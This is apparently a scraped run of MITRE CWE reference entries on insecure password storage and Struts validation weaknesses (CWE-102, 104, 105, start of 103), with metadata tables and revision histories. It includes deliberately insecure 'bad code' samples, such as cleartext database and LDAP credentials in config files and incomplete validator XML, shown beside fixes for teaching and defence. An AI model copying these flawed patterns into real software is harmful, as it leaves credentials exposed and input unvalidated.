(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

+ Observed Examples
ReferenceDescription
A messaging platform serializes all elements of User/Group objects, making private information available to adversaries
+ Potential Mitigations

Phase: Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The meaning of this entry needs to be investigated more closely, especially with respect to what is meant by "recoverable."
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPStoring passwords in a recoverable format
Software Fault PatternsSFP23Exposed Data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-102: Struts: Duplicate Validation Forms

Weakness ID: 102
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.
+ Extended Description
If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.694Use of Multiple Resources with Duplicate Identifier
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

These two Struts validation forms have the same name.

(bad code)
Example Language: XML 
<form-validation>
<formset>
<form name="ProjectForm"> ... </form>
<form name="ProjectForm"> ... </form>
</formset>
</form-validation>

It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.

+ Potential Mitigations

Phase: Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Duplicate Validation Forms
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Other_Notes
2011-03-29CWE Content TeamMITRE
updated Background_Details, Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID: 104
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Background Details
In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. One of these classes must be extended because the Struts Validator ties in to the application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.
Confidentiality
Integrity
Availability
Other

Technical Impact: Other

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.
+ Demonstrative Examples

Example 1

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

(bad code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.action.ActionForm {
// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

// getter and setter methods for private variables
...
}

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

(good code)
Example Language: Java 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
// private variables for registration form
private String name;
private String email;
...

public RegistrationForm() {
super();
}

public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}

// getter and setter methods for private variables
...
}

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

+ Potential Mitigations

Phase: Implementation

Ensure that all forms extend one of the Validation Classes.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Form Bean Does Not Extend Validation Class
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Background_Details
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-105: Struts: Form Field Without Validator

Weakness ID: 105
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.
+ Extended Description
Omitting validation for even a single input field may give attackers the leeway they need to compromise the product. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationSome products use the same ActionForm for more than one purpose. In situations like this, some fields may go unused under some action mappings.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

Integrity

Technical Impact: Bypass Protection Mechanism

If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.
+ Demonstrative Examples

Example 1

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

(result)
 
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {

// private variables for registration form
private String name;
private String address;
private String city;
private String state;
private String zipcode;
private String phone;
private String email;

public RegistrationForm() {
super();
}

// getter and setter methods for private variables
...
}

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

(bad code)
Example Language: XML 
<form-validation>
<formset>
<form name="RegistrationForm">
<field property="name" depends="required">
<arg position="0" key="prompt.name"/>
</field>
<field property="address" depends="required">
<arg position="0" key="prompt.address"/>
</field>
<field property="city" depends="required">
<arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
<arg position="0" key="prompt.state"/>
<var>
<var-name>mask</var-name>
<var-value>[a-zA-Z]{2}</var-value>
</var>
</field>
<field property="zipcode" depends="required,mask">
<arg position="0" key="prompt.zipcode"/>
<var>
<var-name>mask</var-name>
<var-value>\d{5}</var-value>
</var>
</field>
</form>
</formset>
</form-validation>

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

(good code)
Example Language: XML 
<form-validation>
<formset>
<form name="RegistrationForm">
<field property="name" depends="required">
<arg position="0" key="prompt.name"/>
</field>
<field property="address" depends="required">
<arg position="0" key="prompt.address"/>
</field>
<field property="city" depends="required">
<arg position="0" key="prompt.city"/>
</field>
<field property="state" depends="required,mask">
<arg position="0" key="prompt.state"/>
<var>
<var-name>mask</var-name>
<var-value>[a-zA-Z]{2}</var-value>
</var>
</field>
<field property="zipcode" depends="required,mask">
<arg position="0" key="prompt.zipcode"/>
<var>
<var-name>mask</var-name>
<var-value>\d{5}</var-value>
</var>
</field>
<field property="phone" depends="required,mask">
<arg position="0" key="prompt.phone"/>
<var>
<var-name>mask</var-name>
<var-value>^([0-9]{3})(-)([0-9]{4}|[0-9]{4})$</var-value>
</var>
</field>
<field property="email" depends="required,email">
<arg position="0" key="prompt.email"/>
</field>
</form>
</formset>
</form-validation>
+ Potential Mitigations

Phase: Implementation

Validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsStruts: Form Field Without Validator
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Description, Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Modes_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-103: Struts: Incomplete validate() Method Definition

Weakness ID: 103
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
+ Extended Description
If the code does not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
